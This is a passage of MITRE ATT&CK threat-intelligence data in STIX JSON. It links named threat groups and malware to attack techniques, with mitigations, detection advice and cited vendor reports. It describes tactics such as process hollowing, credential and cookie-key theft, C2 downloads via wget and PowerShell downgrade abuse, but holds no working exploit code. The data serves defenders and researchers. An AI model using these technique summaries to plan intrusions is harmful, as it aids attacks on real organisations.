2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"malware--dcd9548e-df9e-47c2-81f3-bc084289959d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36f0915e-66aa-4062-b909-35414c639ae1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.993Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of running services with the command tasklist /svc.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36f0a98d-2658-4eff-82f2-21defc09bb84","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2).","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36f14542-1dd2-4b2e-b69f-d7f38ea9800e","type":"relationship","created":"2019-07-08T15:24:25.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2019-07-14T21:04:45.850Z","description":"(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36f159f7-5018-4889-a540-98e3ac242602","type":"relationship","created":"2022-03-25T14:39:06.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:39:06.385Z","description":"(Citation: Symantec Palmerworm Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--36f3f6df-5007-4075-84a3-9708132f1468","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter ItsReallyNick Status Update APT32 PubPrn","description":"Carr, N. (2017, December 22). ItsReallyNick Status Update. Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/944321013084573697"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:32:57.939Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.(Citation: Twitter ItsReallyNick Status Update APT32 PubPrn)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36f7b849-03af-4567-be71-2e1eb1520b2a","type":"relationship","created":"2020-03-16T15:23:31.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-02T13:42:01.654Z","description":"Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard dylib folders.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--36fe0753-6883-456e-9bb0-4c46995ec36b","created":"2024-03-13T21:38:40.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:38:54.316Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) utilizes malicious Google Chrome browser extensions to steal financial data.(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3709ccc2-2370-4dc9-92ac-792867bbdea4","type":"relationship","created":"2019-06-21T13:49:14.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-14T21:58:19.391Z","description":"Use of multi-factor authentication for public-facing webmail servers is a recommended best practice to minimize the usefulness of usernames and passwords to adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--370fb415-02d5-416c-bb69-d629600dc14b","created":"2022-06-10T14:37:20.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:31:32.487Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has searched a victim's network for collaboration platforms like SharePoint to discover further high-privilege account credentials.(Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3717f0c2-0963-4b6c-9603-bb01c06b9fe6","created":"2023-06-08T20:23:31.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-20T17:56:01.308Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can communicate through custom methodologies for UDP, ICMP, and TCP that use distinct sessions to ride over the legitimate protocols.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--371958b3-0a01-48a4-b035-3a9d44b17388","created":"2021-10-01T20:26:49.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:49:39.603Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) has a XOR-encoded payload.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--37213eca-1510-4893-b27a-f17a8dd16a78","created":"2023-03-26T21:03:16.776Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T21:03:16.776Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used domain administrators' accounts to help facilitate lateral movement on compromised networks.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--372642cf-1598-46a0-a791-2f6d2d2d8987","created":"2023-09-14T18:07:49.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T17:12:16.026Z","description":"\n[Snip3](https://attack.mitre.org/software/S1086) can use RunPE to execute malicious payloads within a hollowed Windows process.(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)\n","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--372ff318-25a5-476b-9090-7e0fd4534325","type":"relationship","created":"2021-01-25T13:58:25.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-11T23:13:04.854Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can add a service called WBService to establish persistence.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--37306ec5-a50c-43a5-aa02-08b2179fb09d","created":"2024-05-23T22:40:16.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:50:32.959Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) gains initial access to victim environments by exploiting external-facing services. Examples include exploitation of CVE-2021-26084 in Confluence servers; CVE-2022-41040, ProxyShell, and other vulnerabilities in Microsoft Exchange; and multiple vulnerabilities in open-source platforms such as content management systems.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37327da8-efd3-48c0-9f91-38f384f8579e","type":"relationship","created":"2020-06-11T19:52:07.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-11T19:52:07.391Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) issued wget requests from infected systems to the C2.(Citation: Talos Rocke August 2018)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3733dda5-9dd9-43d1-ac3a-24f1b5fb86e7","type":"relationship","created":"2019-01-30T15:19:14.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"},{"description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside","source_name":"Proofpoint Azorult July 2018"}],"modified":"2019-07-26T23:22:28.545Z","description":"[Azorult](https://attack.mitre.org/software/S0344) uses an XOR key to decrypt content and uses Base64 to decode the C2 address.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--373cc221-1a32-4188-8366-72851d8647a3","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T17:49:53.354Z","description":"Monitor for changes made to DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--373f2bc5-e221-459e-9922-27bead9a53fe","created":"2023-04-13T22:10:43.002Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T22:10:43.002Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can collect a Chrome encryption key used to protect browser cookies.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--373f6762-cda6-4ce7-894f-cac31a09a98b","created":"2023-03-06T21:15:52.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:57:01.185Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has added user accounts to the User and Admin groups.(Citation: FireEye APT41 Aug 2019) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--373f6c02-459f-4d19-b8a6-6ae02e9738f7","created":"2024-08-14T13:56:53.577Z","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:56:53.577Z","description":"(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3740c99a-3d2d-4ea3-ae6e-2a3bfcf572f3","type":"relationship","created":"2021-10-07T16:43:58.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:43:58.710Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has used web shells to establish an initial foothold and for lateral movement within a victim's system.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--37451dee-6837-46c5-a9e5-ff64f26f66d2","created":"2020-08-24T13:40:23.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET PipeMon May 2020","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:27:10.599Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) modules are stored encrypted on disk.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--374d1cee-7c9c-4b3b-8e75-8a5c4caf9d47","created":"2023-02-14T18:27:18.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:34:38.173Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) has used Base64 encoded strings and scripts.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--375253bd-1832-4177-a1b1-92b42a6a599b","created":"2022-03-10T20:58:01.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.853Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can use PowerShell to support multiple actions including execution and defense evasion.(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37533c33-9cc4-4707-8b30-d8be6aeaefc6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.118Z","description":"[yty](https://attack.mitre.org/software/S0248) contains junk code in its binary, likely to confuse malware analysts.(Citation: ASERT Donot March 